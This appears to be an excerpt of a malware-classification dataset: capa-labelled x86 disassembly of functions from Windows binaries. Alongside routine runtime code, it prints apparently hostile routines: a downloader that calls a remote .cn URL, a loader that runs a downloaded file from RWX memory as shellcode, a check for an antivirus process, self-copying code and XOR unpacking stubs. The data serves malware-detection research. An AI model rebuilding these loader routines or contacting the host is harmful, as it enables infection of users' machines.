joyce8/EMBER2024-capa huggingface dataset:
Function at 0x143cb3f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x143cbdc
push ebx
push esi
call fcn.0143cb08
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0143ca9c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x143cb89
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x143cbdb
push edi
push eax
call fcn.014379c9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x143cba9
call fcn.0143605f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x143cbda
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0143ca9c
add esp, 0x20
test eax, eax
jne 0x143cbc8
push edi
call fcn.0143605f
jmp 0x143cbd0
push ebx
call fcn.0143605f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x143f64b
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.01437178
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143f6ba
cmp esi, dword [ebp - 4]
je 0x143f6b5
cmp dword [ebp + 0xc], 0
je 0x143f6b5
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x143f692
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0143f19d
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x143f6bc
xor eax, eax
inc eax
jmp 0x143f6bc
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x143f721
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x15b4fe8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.01437178
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.01437178
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x143f798
cmp word [ecx], dx
je 0x143f798
mov eax, dword [0x1582d5c]
push edi
dec eax
push eax
push 0x1582c48
call fcn.0143f6c0
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x143f80b
cmp word [eax], dx
je 0x143f80b
mov eax, dword [edi]
test eax, eax
je 0x143f7bc
cmp word [eax], dx
je 0x143f7bc
lea eax, [ebp - 0x10]
push eax
call fcn.0143f0a3
jmp 0x143f7c5
lea eax, [ebp - 0x10]
push eax
call fcn.0143f13e
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x143f835
mov eax, dword [0x1582c44]
push dword [ebp - 0x14]
dec eax
push eax
push 0x1582938
call fcn.0143f6c0
add esp, 0xc
test al, al
je 0x143f835
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x143f800
cmp word [eax], di
je 0x143f800
lea eax, [ebp - 0x10]
push eax
call fcn.0143f0a3
pop ecx
jmp 0x143f837
lea eax, [ebp - 0x10]
push eax
call fcn.0143f13e
jmp 0x143f7fd
mov eax, dword [edi]
test eax, eax
je 0x143f822
cmp word [eax], dx
je 0x143f822
lea eax, [ebp - 0x10]
push eax
call fcn.0143f058
pop ecx
jmp 0x143f835
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x143f900
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0143f545
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x143f900
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x143f900
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x143f900
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x143f88d
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.01436673
test ebx, ebx
je 0x143f8fb
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.01436673
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143f900
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143f900
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.014438b4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x143f902
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01423a6e
leave
ret
Function at 0x1443b4e
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.01443aca
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1443cbd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1443cbd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1443c72
jg 0x1443baa
test eax, eax
je 0x1443c68
push 1
push 0x1000
call fcn.01436002
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1443bcd
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1443c5f
push 0x8000
push ebx
call fcn.0143368a
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1443bf6
jg 0x1443bf1
cmp ecx, 0x1000
jb 0x1443bf6
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.01439787
add esp, 0x10
cmp eax, 0xffffffff
je 0x1443c3b
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1443bf1
jl 0x1443c22
test ecx, ecx
jne 0x1443be3
push dword [ebp - 0xc]
push ebx
call fcn.0143368a
push esi
call fcn.0143605f
add esp, 0xc
xor ebx, ebx
jmp 0x1443ccb
cmp byte [edi + 0x24], 0
je 0x1443c52
cmp dword [edi + 0x20], 5
jne 0x1443c52
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1443c5d
mov ebx, dword [edi + 0x18]
jmp 0x1443c5f
xor ebx, ebx
push esi
call fcn.0143605f
pop ecx
jmp 0x1443ccb
test ecx, ecx
jg 0x1443c34
jl 0x1443c72
test eax, eax
jae 0x1443c34
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0143adb9
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1443c92
cmp byte [edi + 0x1c], 0
je 0x1443c34
jmp 0x1443cc3
push ebx
call fcn.0143d51b
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1443c34
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1443ccb
cmp byte [edi + 0x1c], 0
je 0x1443cc8
mov ebx, dword [edi + 0x18]
jmp 0x1443ccb
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0143adb9
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1445480
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x14454ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x14454ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219
Function at 0x4017c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 2
mov dword [ebp - 0x128], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40183c
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x401800
lea ecx, [ebp - 0x104]
push str.360tray.exe
push ecx
call fcn.00418764
add esp, 8
test eax, eax
je 0x401836
lea edx, [ebp - 0x128]
push edx
push esi
call edi
test eax, eax
jne 0x401800
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401850
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41c076
push eax
mov eax, 0x10b8
mov dword fs:[0], esp
call fcn.00410c60
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 0
push 0
push 1
push str.Download
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
je 0x4019c9
push 0
push SysReAllocString
push 0
push 0
push str.http:__cw.rowlqig.cn_175
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4019c2
lea eax, [ebp - 0xc0]
push eax
call fcn.004031d0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x68], 0
je 0x401961
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea edx, [ebp - 0x10c0]
push edx
push esi
call edi
test eax, eax
je 0x401927
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401927
push 0
push eax
lea eax, [ebp - 0x10c0]
push eax
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00402cc0
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10c0]
push eax
push esi
call edi
test eax, eax
jne 0x4018f3
lea ecx, [ebp - 0xbc]
call fcn.00404280
test eax, eax
jne 0x401961
mov ecx, dword [ebp - 0xc0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xb4]
lea ecx, [ebp + ecx - 0xc0]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x401959
or eax, 4
push 0
push eax
call fcn.00401560
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x60]
mov dword [ebp - 0x14], edx
mov dword [ebp + ecx - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 1
call fcn.00403320
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x60]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
push ecx
mov dword [ebp - 0x60], vtable.std::ios_base.0
call fcn.0040731f
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ba0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocString
push str.C:UsersPublicDownloads_vicq
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x13
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c30
Capabilities:
Check if file exists
Copy file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call esi
push str.wind.exe
push str.C:UsersPublicDownloads_s
push 0xffffffffffffffff
lea ecx, [ebp - 0x104]
push 0x104
push ecx
call fcn.0040802e
add esp, 0x14
push 0x104
lea edx, [ebp - 0x30c]
push edx
push 0
call esi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
pop esi
cmp eax, 0xffffffff
je 0x401c97
test al, 0x10
je 0x401cad
push 0
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esp, ebp
pop ebp
ret
Function at 0x4043b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41be18
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x404584
cmp byte [ebx + 0x49], 0
je 0x404584
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x404401
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x404424
lea eax, [ebp - 0x2c]
push edi
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
push esi
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x404443
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x10]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x404486
dec eax
je 0x40448a
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x404562
call fcn.004028f0
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40449a
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, edx
je 0x4044c7
cmp edi, 0x10
jae 0x4044a9
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00409033
add esp, 0x10
cmp esi, eax
jne 0x404557
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40455f
test esi, esi
jne 0x404437
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40457a
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40457a
cmp edi, esi
jae 0x404540
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405f40
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x404437
mov ecx, eax
cmp edi, 0x10
jae 0x40451c
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x404537
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x404431
test esi, esi
jne 0x404512
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x40454f
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x404431
lea ecx, [ebp - 0x2c]
jmp 0x40446e
lea ecx, [ebp - 0x2c]
call fcn.004028f0
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.00407763
mov ecx, dword [ebp - 0xc]
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4051f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bd6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.004078b7
push 4
mov dword [ebp - 4], 0
call fcn.00409279
mov edi, eax
add esp, 4
test edi, edi
je 0x405267
push ebx
call fcn.0040767f
mov dword [edi], eax
call fcn.0040743e
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00407878
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x40525c
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.004078a0
pop ebx
jmp 0x405269
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x40952d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4234ec]
jne 0x409537
repz ret
jmp fcn.004108a5
Function at 0x417a12
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4234ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f6d1
and dword [ebp - 0x14], 0
cmp dword [0x425834], 0
mov dword [ebp - 0x18], eax
jne 0x417ac5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417b6d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417b6d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x425834], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x425838], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42583c], eax
call edi
push eax
call esi
mov dword [0x425844], eax
test eax, eax
je 0x417ac5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x425840], eax
mov eax, dword [0x425840]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x417b1e
cmp dword [0x425844], ecx
je 0x417b1e
push eax
call esi
push dword [0x425844]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x417b1e
test ebx, ebx
je 0x417b1e
call edi
test eax, eax
je 0x417b15
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x417b15
test byte [ebp - 8], 1
jne 0x417b1e
or dword [ebp + 0x10], 0x200000
jmp 0x417b51
mov eax, dword [0x425838]
cmp eax, dword [ebp - 0x18]
je 0x417b51
push eax
call esi
test eax, eax
je 0x417b51
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x417b51
mov eax, dword [0x42583c]
cmp eax, dword [ebp - 0x18]
je 0x417b51
push eax
call esi
test eax, eax
je 0x417b51
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x425834]
call esi
test eax, eax
je 0x417b6d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417b6f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040952d
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40915c
mov ecx, 0x4d5c38d1
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x49961439
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219